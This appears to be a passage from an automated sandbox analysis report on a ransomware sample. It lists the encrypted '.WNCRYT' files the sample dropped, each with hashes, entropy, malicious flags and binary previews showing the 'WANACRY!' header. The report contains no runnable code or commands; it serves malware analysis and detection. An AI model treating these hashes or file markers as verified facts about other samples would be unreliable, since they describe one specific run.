                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1240
                                                                                                                                                                              Entropy (8bit):7.850915149663794
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkXr+YNhYxD7FlGVzTohkgbkhtKXm3ssRfPfgkalxGYIqSsy4HHjQQE2:bk7+YfMD7FWzUkgbQKm3TINx2Hsy4njd
                                                                                                                                                                              MD5:5F76347AD938C9035923428FFC936A32
                                                                                                                                                                              SHA1:EF8CBB5E24428397AC73A00E05460DA8CF145510
                                                                                                                                                                              SHA-256:F9AEC9DF34702DD044379CD37E76028822FFC63E6A28E38A9DB8AD9C328A55F3
                                                                                                                                                                              SHA-512:47167BDB849920F82969D6D0DF1185C8CCE3CB0528C2400477CCFD7B228FBE1D33A814D03F86DE196FCC720A4283C9C8024A737752D4F758B366FE25A97E8BD3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......3..Lf*.YL=...xf..e.4....../.q>.N....7.S..#.mvjx.._.{8.~Ll;N.mE.B....fL.A....dV.f.c>..<...wM...*p..\..9.$..j.<1..=1..y....o.O....1......9.....6?b]DC..*..>T.R..u..(.4@r..,`.S...j....`.qE.../u`......Hq.X.....z1..Lk.r...d..=..<.@...Qc...v. .&..............MjU.M.k;...u_.....8...p.g..gt.C.+ J.....?z....c..o).?%..5}v.#...V.L.j.V.a.E.....r..m.....7._H..me".....YyHh$J^.. ..`.....=.....0>g.AU....m.(...N.d....C._... .J............X..D.a..R....*.A..Q<zw{.EI.xg.H...3E.....^3....5.g/.>5M..P.CQ...~.$....'.K.)......^...I..%"*...8...C'.=..\5...Q.5...q..|.h...Yu.?.'..7...{.D..*J....sM.c5{..$6..FD..3...Sk.#.%.`.i..Mn.7:...P!..I.P.5K.X|..":h..5AS.-...............ei...a0...C..tP....d.....i...3.K...V<.F[).T.......xy.f.(...S"t.i.l.$T..z.^Qsv...\..&.].sp....N.y.q.m.X...o..........,....5....>r...M8.UFq.........F$.......*.x.........h.....25..k`.R.t........T.*.C.n......L..g.;....Sk[.R.3...0,........7....nHv"..@.:+k,g;d<c..W.r.E....N.N.o.DC....@

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):45736
                                                                                                                                                                              Entropy (8bit):7.995805687600383
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:CdBS5PFE7AtYnfrGg45Hfy+eQs7yUP4GpFlMLcmYkpQV4pJCCkAbwmjBRCKMwxrf:CdBI9EUtAKPy+eZ7ywL5+b5BcYBRIwJf
                                                                                                                                                                              MD5:388C6652B5DF84AD69095DF925D2C6B4
                                                                                                                                                                              SHA1:3071A7ECB8BFF2288855014C296DA54AE2816BFD
                                                                                                                                                                              SHA-256:163EEA9E6E92A6A8EEE3CCA162DD1FC7DFBF99B8FEBAB99C14F7D8559347B5A8
                                                                                                                                                                              SHA-512:03C7FA091EC29047A2FC3F8350BF143E6921F094580EA03CD05B29DF759791CDECA8717DB7308953C59D7ED578EC86A8FF45AA7CD263F5E25FF0DA9FC60CCF15
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....@.........L....A.C.}.*T(.-3....'t.7.Q.F .k..P].VG.<#b ]y./.^.@...-|.....Y...&..h..y..dm..4.Vn.r........%:J....g...?Z..Q.<8!.fZ.=$.....Z......x..'...X.._.....(._..w..|.=...)[.i.....*.$.."~..N..Vic3u...2A..H.Vw.A.|V.lP.D.GA.o....S.T....B.V.JX..b.............n<.8$"..r_..I...n.s.R......V$*.u.......*}....5.?%/L...}..$.BS.c.C..o..i."}J..`.2c%.X.co...P.6m...\.$..lH...'.g..@.5.(.i.y...f6......qw.]...O+o.qX...K.b.8$*.>HumD...ju.8.;u.{37'.......L.....Cf....].U.R~....!g"X...h...X.o.dx@.B.a=!..<..C.~.~opk|...^s....o..._W.]........2../.H$s..>........9...T.L..Q..<..d....&...`L.a.........B:".C_~S..&."x..yJ{8u..~../].~:.Ra.?=.<D..S....z...O..u.'....w.'....I!J...(... ....lLsU....Q.I`$O...-..=:fC...h......D..?A.4..:."..0[.. }."..r.....tS........H...x~..{1.#.......K]..?_..p.......0v.d.P.q~F.l|......j"....}|.|..V4......a..m...Z....o.1&#.Q.....w...Sr.L.6...I.RjqXR.4....s....p........<N..]gP..k.....6j.....)..e..e......P`P..4.f..._.&|>..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):22136
                                                                                                                                                                              Entropy (8bit):7.991080291805864
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:9pQXdAGhHbccUcwQPrqZ6asGo0cYuW3WJdy3atJXFjhMw43msVt2OY:XGhQcp/rqZ+Go0tuWqdv19MwekOY
                                                                                                                                                                              MD5:A0B04652FB6BABF709A8956C8A96C95B
                                                                                                                                                                              SHA1:B5DC20C82D78DFDACE9979D7499CCDFD563978F5
                                                                                                                                                                              SHA-256:8C88C79C3AEF487A1529708AD01A2ED8E02C7C939FAE7A2B625B6867A45EB73C
                                                                                                                                                                              SHA-512:7FB0E89FC6194658C445E8A6CF30D000BC2DDBAB1EBA618CC82BF182ED0C928B9D2778BD9C0969CBE0EA336FE8156521C32CA65BD258406CB126EE0CF88D7A7D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....[...o..F..-.f...SS.G...v3.s~......B..+..M.J.z..j.&......vn.|.78.`a.......e..~...@..R.UB.m....~.......%.Y.*...E..9...]K..Z.....5.#..]G.`...))y..mf8.^*A..1...i..U.S4...s.+#.-.9.v..z2.;...|.......)D.......u..i.g.<.r.......{.{gz....S../...Y=...Ld......YU......:.qP..n{$..|.q...b.....z..........'g......>Q.]1[..z..........R.g..y1&.....:a.y7..^B.kQ...!......)E.q<.7~.........LN....x5....."...y..{.Jz..OPe]....`).M.:l)\....n..5n.....S....2.s$*9A...i..M.CB.?-..|_.z]p.{.I...V/.~....H.0........H..?..q..D..?W..i.P....3...|.....k..@..2...a.....r...L...l.Ra.<....D2?.....j...06#..=...t...8.l6(...#u........a9d7E...O.q.2.../.X........n..M..' Y;.P......7...i...iUP.gTA...fy{.L]m.7(..r.....M@.Y....H.7....7Q.I....w...<."P..<{N..Cz..U?Yt......u.<2.....w..oZ....S.......coR+..|........fBB.D....<=*'zF...!...S.z....r...Q...p..E..h......."...i......T..oD.5....>.k.|...1....V.p.._.:.0J.yg....0o@..MP._.....Gv.&..Yac.....:.N...`GQ~qSs....}.k\'Rp..1t.v.^..l...9..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6qhc82nhlRe74lC1CBjrzThsaXw.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):39320
                                                                                                                                                                              Entropy (8bit):7.995617374208714
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:PcjtrmePsAEENHwcNRgsrU/WQe4yyp05DbKKyfhweX:Ejtrmsz+cNRgsrUHDytDWKyft
                                                                                                                                                                              MD5:371C096667F7149CAD4D7BA45F46C521
                                                                                                                                                                              SHA1:BAEB988CA8C17D34E3F7BC3C0BC62731E942B30F
                                                                                                                                                                              SHA-256:0C1832D8D3C6BF7FA0D1BF2ABBE3430675E5F7B6C9AE29EC62C59435A726EC4C
                                                                                                                                                                              SHA-512:72FF45ED818CECB05FFEDD063BDEFE2CCE5BF5570440A7AF3B89C64DB453349AA4E6217671649FAA8E39DFC075AD7560C485ACF56A33A949FE96620B5982D726
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....|EIeq..f.'.-.B..%x.tY.v..:...Jq,c....\../.....S7p....&a..o..f..<..<....]..`..!@uMN..o..R....6]."4X......=.u...3.....Mb.H..1k.....[w...W.h.......~.]....S.z.c^S..n.p......W^.q.+e.....5B0_.XI.@...p..._... .......E.........,uf....1O..:h+...XA....r........oI....W..hr...3.B...1.........Qo.l......U..p.]:.v<4.^%.....X ...VI.b.d.......N..@.m..72zp........._>.`..8o4.4....$..o.HvR./.....T..........[.W...Utv!h....%w.Y?.......t.b;.x.....*.Y.#u......c...Q.<&.qST.....&...H.=..@l......q.2.....w.....q<.^w.b.]...".*Af.;|..d-.AD.#...x.q...N....l.....9.b..M.\%]......zNxd..l.f4....z....'7...4...-........2..QR...T.\.....D..g.w.....x..DZ..'Z..:!.X.H{.B@..|.<.......7...k..K[./..3...b..<.n:..L..u..fFC...&.....R..y.~..=.......T@.4LVYf.Z.Q.4...h....^*.......qeu..<K..v. .C...}.z.....6.f...!..S.N.<.e..w^...l...."F......<R...{US.........]...../...,..P....z...*L.er~....T..A....d.....z.H..d{.Y...%.R..Ly..........F.%.e.....s.UInD...h.X......

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\8ymkR7XnGUAdX0znnUDbeICn9Qw.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):10712
                                                                                                                                                                              Entropy (8bit):7.985178611781836
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:LLrROnlHvldhPtvA88RwZ/uijK1NreycRfUQsPvYHV7zrQj9jRXeQZc:DUPlTPtvA88RVijK1AYNoHdwjhROsc
                                                                                                                                                                              MD5:38C73CCC8DD948762C08FB516B7615CF
                                                                                                                                                                              SHA1:C7FE9CE2726BA1B3FFB020B5346C3A88ED12E6D0
                                                                                                                                                                              SHA-256:289EB50D6B9471C2B45629F7DD2B293A030ECD180F54E53C3B1B5628EBB74EF5
                                                                                                                                                                              SHA-512:33A26FF8D8ADC906E91912FBA5AEA8AA831CDD4493D064C7127DD8F92A4AD1A6907D1A39A4AD592C2B9C6594FC1F37881F3CBBFAB286DD6EE9A55B9ECDE5F9C5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....;f@.<aq..I.(......vP?..".f....F..s...'>v.j..l...^f.Vt6L..J.py<q.........:%.!j...1....O.^z.....f....tr....vs$.$.....6.N.../.n.e/.S..l.k|.[............:.J?....HEp^h..(m....D./....K...W.....l...fR...t.F...f..n).z.}R.Q.!..|.0.....w.#2j...Ou.....(......5.%.._....;m..I...C.J.....Y.!.....BzW.`.."....!;p. ....U:K.l.{...$\...<.. ....S8J...~......f..dC'..m..5M......o..~.Z.1.. .7<....h...u..Dfu....'.t..e.......$5."...Z.z#*..5.1.4.,.u...(<C....V..t.r..@_._..N.....G."?x~v....YK.N...-}k-^..H'.F......<4g..*r...O.........;k..Y...D.:....7..?m.[.A..b[V...".....b. .F..~K......n.&@e.l.s.1..t.^.Z.A.....j....Aj..tb..C....a...Wz%R..#..(.5..obVBx`.......=..8...M)..+K.6..N......~.(...K.]....10.!.19.....YFo|P<.CT.\u.9..m..8...9c..G~R.$.....i{.*..Z......am..w/...D2...-[.....3...4.@Z3....I....s...r=>...GS..0..X.....0..f..k-.0....eL../.Y.J..5O...K..e"._(.D9...).<_3`.....5.5WF.t.p./.j.....[......&....U...R...P#.......+.Z>..Q..n....M..*.......p.*.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\A5JmJm6oR8TLYM66NvehlD7VpZY.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):3176
                                                                                                                                                                              Entropy (8bit):7.934410183848528
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oh6vHGiYybTZLn2R2RM12sOwtwTEmBIrLM:+EBHbTR26MrBa4mBI0
                                                                                                                                                                              MD5:5501B9F421EA9FAFF161404EDD1CA995
                                                                                                                                                                              SHA1:1F205851FA1ABB6A04A77BBF6102E13A1FBFF50B
                                                                                                                                                                              SHA-256:EF62F2BE925BFE0A41A9426CE7C06A85F6009516ECC6C968A2E7A9D9E7F74C22
                                                                                                                                                                              SHA-512:63EDCC283B61E80C45B49352EC077CD292EDAAB935C3F3417AE4F5C7736FC9670BD984BC069F6FBEF9B2A722D8CA2829848B4D6FFFF3EEC8FF1B49B0AE63912C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....9c..EF[>.O.H..Y5...[...T...F.r.k{....5O.|~...%[.......T..*P.n.~...-.N.-.c.K...j.t.....'.j..n#.P{........c!..Y....d...'w....B.].m........~j~..L.d./.cZMdY....f.....;.s...n...'..Off.su.@.f.a@91...D....A.z.W..$....L.....Q.AA.[!n!@.J...qkj....!6g. .2....A.......O....3.?8.4....,..+.(!....I.m. .^.....kGm.Q....~7.BG.?..}..].7......N.....%...n..$..M.-...U[4.F..0..GHp.IU..t....<Qt.....y\6I....=.......2V-p....d...e._.V.J...<......V|....H..%(..7..*.X^WA.*.AN......wF..}dl..S.......n..&... ..2......i...S......dh.....wH..<.,..(.......]%R.7V.@..-.o[...J...aM...6..>.....f..8m........HQ.....#t.:H3.q[I..B.T.|....&H..G..t8Rd.=..(..I...8.8km....l../..5jB....:...f....e.j.e...~}b.=>y/3P>~?..4&F.D....L.~.....{..<tB.<._.YO<+:^..e..y.v... ..uCK.Nz...*.....v.yj........v=. ......T.TE....5..k...I....1N.R.9..".l:.%0.vl..u~.1{.(.`..(.4...q.p..\.Pp.h......y~.bO..u.>.QL...2."h..Q....@..V(. .v.eft...hY.VI.b..1.FT.....;...1>5.6..g.'.....z..e9I...|.........d..........x^

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\CLHrhPHUrUN-iFM4IkduCxl7WR4.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):12392
                                                                                                                                                                              Entropy (8bit):7.9845234065600135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:wVSDgO+/H7MBZ2MDmsR4DbGXMTNzKZzjF6oSa/6:pv+/bMkMUbv5zKQD
                                                                                                                                                                              MD5:E2B26838ED670BF8A7AC418C32A68AC8
                                                                                                                                                                              SHA1:EF6F85AE3788040811DB412780FC42DB213B274C
                                                                                                                                                                              SHA-256:4B0928FFF83E31CA241B8FD323DD54D8239874745C30E173B1A9D050CF734028
                                                                                                                                                                              SHA-512:8DE8C61DCF958AA5FD3D6CD43056DC313B3379AF26C6A56DDFE1750B7BC995777FBBE00478DAC6FC6BAD755AA13ECB4A0B547B0952AC49C3BAD60FDB21D4FA2A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....#\#....'.#.._..9....A.o....90..V...h.F.....W!..[.......S%..q....&........(8.R}:..z.......m.........N..S..\..ZMMr.=&.A...}...,c.K.R...3".7..B.*'....>.}.X3....M.&X.+@.uI...t4.q7 .%..Y.K.Zk.6$..Z.E::....pD...u..P....WM.I`.llW...[Zc..|.I.8.............O/......!...H......K...G.B....}...Z..@.:.S.#..7..1*...T@d.z....]..z..;.;._.rj.p...x.].o..2y.....p..8.W.k.ii..6.=TE.t...c!.Z...Q..(..0......+...+,..[B!.7....../.....S.....:..Z.dbBX..O..m.|.......;...E.,UK7Y.).>a..w.i0.4...H..+O..C]a.S..{f...._.....:..ak.}.t.U..`....9...T.Z.D.X.[cfY~..1...a.w).+g..z..=.G...1..|...B%|.+..\(1..`un....j.@.Tn8..bc.....q.mv...X..y.J.._D..Ev.np..S...G.$...C...<$....:3b>..-...zSP.....V....y\.gJ..~..<9..BC....XZ.bg..Y....-.......G..Jq..;Q.x...I.yq.L|.*....,..Y.e..c....W..|..zE........3...fX...`6W.=....am..,.H.B.oh.p.E..xv.$.q..NQ,.?......._..J..7..D}....})s.*..4........:.q"}..j .H.T.cU.....`....n$.n./......).U../......l.{.....}..c!.hE.....(.Y...pd(KHuD.......J_...

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Cj4mQnDN_eMyYEqsEbjRrJ2Ttec.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.148607556755582
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE/SIZ72epX1tgqueN4F4pp6ZHwlJooaT986WneA1W5K+URklXSKB/:bkE/SIZCepXs/F4pp6ZH+JooY9KAqRsj
                                                                                                                                                                              MD5:4D9860D7B887C2E176DCFE2451144D3D
                                                                                                                                                                              SHA1:DC29DE810F94244EC6F41045243ED3C0ABEB4AA7
                                                                                                                                                                              SHA-256:5FF4027728BFC2783A2090219440CF32380DAF7FF2EB5375B2B5FA353A5B5A54
                                                                                                                                                                              SHA-512:2EF29DE3B4B1F731DE874AD9746CD832E27938313116CA7A6D694122B1290925F108708B363BB605A5AB0D0FDF590888F246563AF437D02D6BA7730F979AC21D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....j..z..}......N6......./..T%....V.....'..!.E...Uv.A.3S.k.#.......}.2h...9.@....7P........9...h.N.{\j.._B...T23A.A.n...""..c...7.#.`......O...........l.f.....8..v.@:d.g.M?6H..U.C..W.I_S....&...m...f.u6+...L-<.. Y.0+...1..=.o....Z.....oeY..D.hI.'.>..............f...}.z...d.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\D-oNnp40DqC4OQCR13oBZlsQ7cc.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):15032
                                                                                                                                                                              Entropy (8bit):7.9866725233828975
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:yr5hpckuIdZhNJFzQxy5U8bzIRI2tj5s46moUl9iEqoPVicOzpMWsf:uHpckuOZhjtl5U8b8Lj5TGOHqoPVi1zQ
                                                                                                                                                                              MD5:92443BEBEB48B447E9591D74C0506179
                                                                                                                                                                              SHA1:AE7496C285C1F552CBB2D4D70EFAD7C41CCB31B2
                                                                                                                                                                              SHA-256:DF0D7C5787E9FE7D810A61FD462A5D26A43CAFCC2A4F894C9A681682974508F9
                                                                                                                                                                              SHA-512:8994D880963BB165185F87C9E688D6CD27C5964B45BDAD35D9D477B4D48E82DC0E38FD874C3595373EC90FD310D9FE394299AE763C9215A4280225D3C3C5CFC1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......0..Z....p<.5R..4Wn.pz.A.J.)..#.oUu.Q0..RR.ax.0..b.H.b.eB...b.>./..... .hV...z......Pvt......-..f.....f}.v..2..".l...be.2._..}....<.<Xq].7...,.....,...GE'.....8...t...fA.v:...~.O.l....Y.y.N.\C...B..-.M.A.....|...T...(..)2.%.6..l#..6b.#:Q.8r........9......ze..#.....|..?-..q.,.&-..r.E].0....}z ...uX....j.~*y...y..../AL/......]j....6o...[^...+s.;'o....m....._L.Pq..P.v......Tw.m.X....tx... q.@.)....wBK^'...z.EG~..Q.|..J}l#........1P.Ki...|....Nf~.c....>..H.M.?.m.QcmZ,..>.'8.s....d.....,..+.......M. ..............T.ru..S:..~..@.y.% h%t..UB.t....Y.+..=oD.*.i.["..JB#C.p.*.....).|...,Y.Wh.p6..,....O0.Z..P{..yKV.W.~.B.t~4Z^>h]..Y_.X....q.....In..F..km[..r.M;..?. ...o.....@......j..2..Lkr.b...xQ]..L.<.<._4..{..lG.k.\.I..LWy:.....O.S[..N..b.A...>Z.>#....6...Xd....S.J....=.npst%...B<W1~?...#P....}..w[y...h..........'H4..."Xk..<.Q".&........|.N. .....{...T...d....{.6..-.5b)..bT...4...Wz...[.....=L......D..RP.WM....S..{......W..p2,(.E..3a.....].

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):131672
                                                                                                                                                                              Entropy (8bit):7.998837767845572
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:BxsANNeUDFTcv0QUo0No3z4zMMUf9AfuydIVNslU1aU+tliuvMt:Bnsr0QUNo3zahGTVJOf6
                                                                                                                                                                              MD5:2086590DDFA1EB0386765000AF51D75C
                                                                                                                                                                              SHA1:D681AA4A7E13823F68C456390125FB7A50643F65
                                                                                                                                                                              SHA-256:F2764B57B759820A09BFDB52299BDB85EC6808BD672F5BD26E6B6CCDC4B706AB
                                                                                                                                                                              SHA-512:08EA285EE64781964BDDF07DF38921CF753D5A425521B547CB7FA62F1909C84C3B7C8EABDA89503918421501F032BA6A1B41E24CF785851AE5CC341D423C8381
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....b.[..[v1.s.b..S..z...Z.e..Z......e.Vk.x.N...#ow.... .lX].3.G.u...|...v|..?...8/..P...Se4p/.aXj*9..Jz....."".OO......P.F...+...,..u..........I..>WQG...u....:.]>.X..1..ii.w.....W...X.Ew.!5L..q...=...TX.-..Il.... }.h.d..,.[..-'....@.....e..EV.0....<.......4..%Oc...*>"...W?..{.Z.....".N..c.f...|.....(.L..@.>....53.A..f.:....+......S..l..n.Nt..iJ..d...U ....k.d1.jN..!.Y......:|7.:]....{...!...H..V....I....Nu+:....i.oR._.D|'.6#...u.o7..+.7n....B7.r..l1......x..]>.R...\..@;.P...b..f.o.x:x......(5.....ygt...s>.5.};..u $C.....Q...v.Bds.GJ..S....Mp..$9ET&..vS.G2.........a..N...3.W........V.7.H.2...Wd.M6f.g...C.....jl?u..s..>.e..C...@..".t...gH!S...{.d.G.&>^..a.5r...F.{...........N.r.3..{......$.U.d.)8.}.Zn*...?.O-7.?0qnyw..0G}.z.G?.q...g...B"..*..,i2G...m....<...R..r.._p'...?/..Ft..}.1..v5m..|..)..AW.;1.M.2..;.:.....e...z..8}K....A.p....bw.R..9..... B...0pq..k....x&..yU.h..r..w.b....~..*.....7Y..j.YC.I....5!\.e...h.k$...Q`.=|x.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Dj6m3cC0PNbgt98rgkHoHGstYio.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):9272
                                                                                                                                                                              Entropy (8bit):7.982107485815674
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:lJBjCy3sYPyK243Kd1WUg5/OhOH694pPCneMGtR3:lDjCy9P846DWz5yf94pKeB3
                                                                                                                                                                              MD5:ACEE5733A364759E38D4E9A1AF163CFB
                                                                                                                                                                              SHA1:CAE0046F9308DAE63892411D14FA7FF6CAA786FC
                                                                                                                                                                              SHA-256:A53D47749CB41CBB0722EE110138EBB74C773024EF94DA6FDA0C00E38377C5F5
                                                                                                                                                                              SHA-512:0AA7AFE68C7A04E23333DBF1AAB023C23F85BBCDD6F04CA19E6796AC632CDD2521FD7600F7140BF5A2EAED075DD83949C8147B64DBE06C878190BB05DFE368EC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Zp..s!"N....o..>...$. .Uv......5".....}...Y.....'n+.!....y..n...os...^.....U....\h(..d..k.RI......W$...a.vxC..C....@2b...0.(...Vt...z!.U..,....>\..:q+.#....<.Y...Jy....%.p.A.[n.....Lt.?....N.!...s.T..s........H..t.....]..h.........459..U..i.......#........I7.R..........._..<N..p|....~.b.0Fw....jmG..2z.t&..*.eW..{$"5h..UeE..F%...u..U....q...Q.,...3..s.$q...(...4f.:.....t.U.H).hc.vR.%...[....9|J...j..C1..T......!"...D....d.,?.....h.l..F.........u.............WD.WiS.r....1f..\5....4VJ.p.1!......;..c`l[...M....0.S:f.b....PA.....l.L.7...hU...Y.Wj.qe.u.t.P.,..\...f...F.LO..._SJ....z..q.....4.F{~:.......D......<.h....M.I]C..C........#mH/3..h!...Z.D..*.h..sG...{Mq..3.ZU.;..=.:.d.h:.".8... ..r..L.U..e..<...W......1BEZ..r.2~.O.f.....|5U...vv.....t(...1....N.8.....y....2@.K..J.]tb.....CP.@r7.."#......I..wU.G3A.x..xA?...n...gP..dKf......!\....J....|....o...B`..=.... .P..%3.a.x......,..Z......[G.i&c.y.7.c{-.s_.<-..N/.-...AZ.9..3.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\EYNLM9RfkEXFtD8WH1unvJjwzGA.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):17784
                                                                                                                                                                              Entropy (8bit):7.990313315919704
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:HfwnKZ4W13BTNXkhXnPCUwg3FBAZNnn49CTeKHfW:HfilsNkFC7g3L+nsCjfW
                                                                                                                                                                              MD5:E8F4FDC2F9ACA0B2BA9C6DFDD63888FC
                                                                                                                                                                              SHA1:89FD3CEECA7A5C62B9595CAD68B13DE60E6ADDBA
                                                                                                                                                                              SHA-256:6474F0EF955EA09EAEA45F746A79495A148FF10EF7697AD0E2FDB4DC54F7A547
                                                                                                                                                                              SHA-512:86B1FA58203FACA8B65994A7DB4461E61539ADAB79A9000848BB158C9D28B282D633A420C1A4FED8663FAFDC98AA5A3AA9266C2CC18454AE1A4D577E8B0C144D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....^...(.A.......KJ*.X.m.9....U.V....YD!.h.J.. L......}.\.s........(K..|V...}...l..,.{.x....B....+.3..S.|......4....0..<u.b...L..eP..&.K..Mxr...X...9<..$p...^..D.!...9.bO.+Zk;.`c.0.!...8.z..G...V...a...RD.2:......!zxe...B.]xs.....)X..]...J.Y.....ZD.........{./..a9........K....o.+......+.S.u_l..|..c.....@_...,.#gMN...W`fE.7.D....E.;.Z.7g.@..\.......<..i.........tbM.,dq...5xX.m.)3..c.>=...cZ&..T...!ua&..]....G0.`..R.9.....s.h..!E$....5j0..]..O5..G]...M..L....:w+....J...%._HH.*G...v6.!..(N..N.$.....&....[tM.7T.....+.~=.e.8...j.}.5..t..-Y.ik.3.~jF.....UYf4..%Z.2..j..D.c......1P...$"..A...\....).a..c=..#.ju..M.@.......0...O.e...b........[.M....h .}.h....'........R....C...O.....\g..y'...I`.rm.....JD%.y.N/K?S...f..9x[y.$.E/M. w.g...o...v2..O..?...|.C..8.eE[..6=.*....I?l..G....u.Qk.H.$...0O...J1>....].D.F(.?.......`ok...b....i.s......n....SO../.....x?8...Z.......:v.|.hB.o8+..1*P1.._..b.............k......^...z..XR..o..1..c.N..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\GW3DpE2qmyibnbFrEIzpiD0iGLk.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
